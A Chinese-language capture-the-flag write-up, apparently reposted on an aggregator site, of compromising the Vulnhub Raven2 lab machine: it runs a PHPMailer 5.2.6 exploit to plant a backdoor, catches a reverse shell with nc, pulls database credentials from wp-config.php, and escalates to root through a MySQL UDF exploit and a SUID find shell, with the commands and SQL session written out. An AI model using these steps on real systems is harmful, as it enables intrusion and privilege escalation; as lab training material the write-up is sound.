Vulnhub系列靶机---Raven2

news2024/11/26 22:37:35

文章目录

  • Raven2 渗透测试
    • 信息收集
    • 提权
          • UDF脚本
          • MySQL提权
          • SUID提权

Raven2 渗透测试

信息收集

查看存活主机

arp-scan -l 

image-20231013145244867

找到目标主机。

扫描目标主机上的端口、状态、服务类型、版本信息

nmap -A 192.168.160.47

image-20231013145457797

目标开放了 22、80、111 端口

访问一下80端口,并查看它的组件:

image-20231013150134020

没有发现什么有用的信息

对目标目录进行扫描

sudo dirsearch -u 192.168.160.47 -i 200

image-20231013155218961

也可以使用dirb http://192.168.160.47 进行目录扫描:

image-20231013163507385

/vendor/PATH 中找到了flag1

image-20231013160821360

拿到了flag1:

image-20231013160844261

/vendor/VERSION 中有一个版本号,这可能是一个软件版本号:

image-20231013161254195

再看 /vendor 目录下,还有几个文件名含有 phpmailer 的文件,如PHPMailerAutoload.php ,可确定 5.2.6 是 PHPMailer 的版本号。

于是使用漏洞利用搜索工具 searchsploit 在 exploit-db 中搜索 PHPMailer 相关的 exp。

image-20231013162158120

选用40974.py.使用cp命令将py文件复制到桌面,并且使用vim编辑器打开

cp /usr/share/exploitdb/exploits/php/webapps/40974.py /home/kali/Desktop
vim 40974.py

image-20231013163703386

image-20231013165915997

运行python代码

python 40974.py

image-20231013165038842

浏览器访问http://192.168.160.47/contact.php生成后门文件

在这里插入图片描述

用nc开启监听并访问http://192.168.160.47/sky.php 获得一个低级的shell

nc -lvnp 4444

image-20231013170123411

使用python获取pty得到交互式的shell

python -c 'import pty;pty.spawn("/bin/bash")'

image-20231013170539852

在根目录下全局搜索flag

find / -name *flag*

image-20231013171922982

看到了flag2和flag3.png

查看flag2:

image-20231013172059098

查看flag3:

image-20231013172207988

查看wordpress的配置文件 /var/www/html/wordpress/wp-config.php

image-20231013172401476

image-20231013172559067

得到数据库账号:root ,数据库密码:R@v3nSecurity

提权

在kali终端下载枚举漏洞工具LinEnum

sudo  proxychains git clone https://github.com/rebootuser/LinEnum.git 

里面有一个LinEnum.sh可执行文件

image-20231013174023923

用python搭建一个简单的服务器来把文件下载到靶机里面

python -m http.server 7788

image-20231013174214325

在靶机上使用wget下载

wget http://192.168.160.12:7788/LinEnum.sh

image-20231013174932732

查看到没有执行权限

image-20231013175104124

需要提权,chmod修改权限后,再./LinEnum.sh执行

chmod +x LinEnum.sh

image-20231013175318988

执行:

image-20231013175558026

查到了数据库的版本信息

image-20231013203219465

数据库版本为5.5.60

UDF脚本

利用脚本

  • https://www.exploit-db.com/exploits/1518

image-20231013191717106

searchsploit -m 1518
cp /usr/share/exploitdb/exploits/linux/local/1518.c ./1518.c
gcc -g -c 1518.c
gcc -g -shared -o 1518.so 1518.o -lc

将1518.so 文件上传到/tmp 目录下

image-20231013221611075

MySQL提权
use mysql;
create table foo(line blob);
insert into foo values(load_file('/tmp/1518.so'));
select * from foo into dumpfile 
create function do_system returns integer soname 
select * from mysql.func;
select do_system('chmod u+s /usr/bin/find');
www-data@Raven:/tmp$ mysql -uroot -pR@v3nSecurity
mysql -uroot -pR@v3nSecurity
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 37
Server version: 5.5.60-0+deb8u1 (Debian)

Copyright (c) 2000, 2018, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> use mysql;
use mysql;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> create table foo(line blob);
create table foo(line blob);
Query OK, 0 rows affected (0.01 sec)

mysql> insert into foo values(load_file('/tmp/1518.so'));
insert into foo values(load_file('/tmp/raptor_udf.so'));
Query OK, 1 row affected (0.00 sec)

mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf.so';
select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf.so';
Query OK, 1 row affected (0.01 sec)

mysql> create function do_system returns integer soname 'raptor_udf.so';
create function do_system returns integer soname 'raptor_udf.so';
Query OK, 0 rows affected (0.00 sec)

mysql> select * from mysql.func;
select * from mysql.func;
+-----------+-----+---------------+----------+
| name      | ret | dl            | type     |
+-----------+-----+---------------+----------+
| do_system |   2 | raptor_udf.so | function |
+-----------+-----+---------------+----------+
1 row in set (0.00 sec)

mysql> select do_system('chmod u+s /usr/bin/find');
select do_system('chmod u+s /usr/bin/find');
+--------------------------------------+
| do_system('chmod u+s /usr/bin/find') |
+--------------------------------------+
|                                    0 |
+--------------------------------------+
1 row in set (0.01 sec)

image-20231013220804186

此时,/usr/bin/find 就具备了SUID 权限

SUID提权
find 15* -exec '/bin/sh' \;

image-20231013220627431

image-20231013221721916

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1089299.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

VSCode 快速移动光标至行尾

最近在用vscode进行C编程,经常需要把光标跳到行尾去添加符号。 手动到行尾太麻烦了。 一种快捷方式是:用键盘上的“END”快捷键。 但是用这个键也不是很方便,因为“end”键离主键盘区太远。 另一种便捷的方式是:给vscode设置自定义…

分权分域有啥内容?

目前的系统有什么问题? 现在我们的系统越来越庞大,可是每一个人进来的查看到的内容完全一样,没有办法灵活的根据不同用户展示不同的数据 例如我们有一个系统,期望不同权限的用户可以看到不同类型的页面,同一个页面不…

计算机毕业设计选什么题目好?springboot 高校就业管理系统

✍✍计算机编程指导师 ⭐⭐个人介绍:自己非常喜欢研究技术问题!专业做Java、Python、微信小程序、安卓、大数据、爬虫、Golang、大屏等实战项目。 ⛽⛽实战项目:有源码或者技术上的问题欢迎在评论区一起讨论交流! ⚡⚡ Java实战 |…

供应链 | 零售商-供应商柔性承诺契约:一种鲁棒优化方法 (一)

论文解读:毕鑫宇 作者:Aharon Ben-Tal, Boaz Golany, Arkadi Nemirovski, Jean-Philippe Vial 引用:Ben-Tal, A., Golany, B. , Nemirovski, A., & Vial, J. P… (2005). Retailer-supplier flexible commitments contracts: a robust op…

内存空间的分配与回收之连续分配管理方式

1.连续分配管理方式 连续分配:指为用户进程分配的必须是一个连续的内存空间。 1.单一连续分配 在单一连续分配方式中,内存被分为系统区和用户区。系统区通常位于内存的低地址部分,用于存放操作系统相关数据;用户区用于存放用户进程相关数据。内存中只…

十六、 代码校验(3)

本章概要 测试驱动开发 测试驱动 vs 测试优先 日志 日志信息日志等级 测试驱动开发 之所以可以有测试驱动开发(TDD)这种开发方式,是因为如果你在设计和编写代码时考虑到了测试,那么你不仅可以写出可测试性更好的代码&#xff…

计算机导论实验——Linux基础入门

使用Xshell登录 Linux 主机 linux命令: cd:去哪里 pwd:在哪里 ls:查看当前有什么文件 mkdir:创建新目录 cp:复制 cat:连接或显示文件 rm:删除 mv:用于移动或重命名文件…

B站视频“多模态大模型,科大讯飞前NLP专家串讲”记录

文章目录 多模态:对齐 -- align迁移学习和zero-shotClipBlip 多模态: 图片、文字、视频、语音等不同的表征。 表示信息的方式有多种,但是不同的表示方式携带的信息不完全相同。 对齐 – align 如第一个图中,文字内容的描述和图…

关于一篇什么是JWT的原理与实际应用

目录 一.介绍 1.1.什么是JWT 二.结构 三.Jwt的工具类的使用 3.1. 依赖 3.2.工具类 3.3.过滤器 3.4.控制器 3.5.配置 3.6. 测试类 用于生成JWT 解析Jwt 复制jwt,并延时30分钟 测试JWT的有效时间 测试过期JWT的解析 四.应用 今天就到这了,希…

基于SpringBoot的网上订餐系统

基于SpringBoot的网上订餐系统的设计与实现 开发语言:Java数据库:MySQL技术:SpringBootMyBatisVue工具:IDEA/Ecilpse、Navicat、Maven 【主要功能】 角色:用户、管理员管理员:登录、个人中心、会员管理、…

【Unity】【VR】详解Oculus Integration输入

【背景】 以下内容适用于Oculus Integration开发VR场景,也就是OVR打头的Scripts,不适用于OpenXR开发场景,也就是XR打头Scripts。 【详解】 OVR的Input相对比较容易获取。重点在于区分不同动作机制的细节效果。 OVR Input的按键存在Button和RawButton两个系列 RawButton…

MATLAB神经网络和优化算法

文章目录 1. matlab感知器神经网络初步学习2 使用建立好的神经网络进行分类程序3 线性神经网络预测程序4 BP神经网络信号拟合程序 1. matlab感知器神经网络初步学习 %% 学习目标:从学习第一个最简单的神经网络案例开启学习之路 %% 感知器神经网络 用于点的分类…

orgChart.js组织架构图

OrgChart.js是什么? 基于ES6的组织结构图插件。 特征 支持本地数据和远程数据(JSON)。 基于CSS3过渡的平滑扩展/折叠效果。 将图表对齐为4个方向。 允许用户通过拖放节点更改组织结构。 允许用户动态编辑组织图并将最终层次结构保存为…

c语言表达式求值--整型提升

什么是整型提升? C的整型算术运算总是至少以缺省整型类型的精度来进行的。 为了获得这个精度,表达式中的字符和短整型操作数在使用之前被转换为普通整型,这种转换称为整型提升。 什么叫缺省整数类型?缺省在计算机里面是默认的意…

第三章 内存管理 一、内存的基础知识

目录 一、什么是内存 二、有何作用 三、常用数量单位 四、指令的工作原理 五、装入方式 1、绝对装入 2、可重定位装入(静态重定位) 3、动态运行时装入(动态重定位) 六、从写程序到程序运行 七、链接的三种方式 1、静态…

MySQL建表操作和用户权限

1.创建数据库school,字符集为utf8 mysql> create database school character set utf8; 2.在school数据库中创建Student和Score表 mysql> create table school.student( -> Id int(10) primary key, -> Stu_id int(10) not null, -> C_n…

服务运营 |摘要:学术+业界-近期前沿运筹医疗合作精选

推文作者:李舒湉 编者按 本文归纳整理了近期INFORMS Journal on Applied Analytics中的相关业界合作研究。 这些研究成果体现了运筹学在医疗健康领域实践的效果。文中的学术业界合作使用了不同的研究工具。第一篇文章使用仿真模型帮助诊所进行不同拥挤程度下诊所使用…

【Java学习之道】日期与时间处理类

引言 在前面的章节中,我们介绍了Java语言的基础知识和核心技能,现在我们将进一步探讨Java中的常用类库和工具。这些工具和类库将帮助我们更高效地进行Java程序开发。在本节中,我们将一起学习日期与时间处理类的使用。 一、为什么需要日期和…

并发编程——1.java内存图及相关内容

这篇文章,我们来讲一下java的内存图及并发编程的预备内容。 首先,我们来看一下下面的这两段代码: 下面,我们给出上面这两段代码在运行时的内存结构图,如下图所示: 下面,我们来具体的讲解一下。…

解锁机器学习-梯度下降:从技术到实战的全面指南

目录 一、简介什么是梯度下降?为什么梯度下降重要? 二、梯度下降的数学原理代价函数(Cost Function)梯度(Gradient)更新规则代码示例:基础的梯度下降更新规则 三、批量梯度下降(Batc…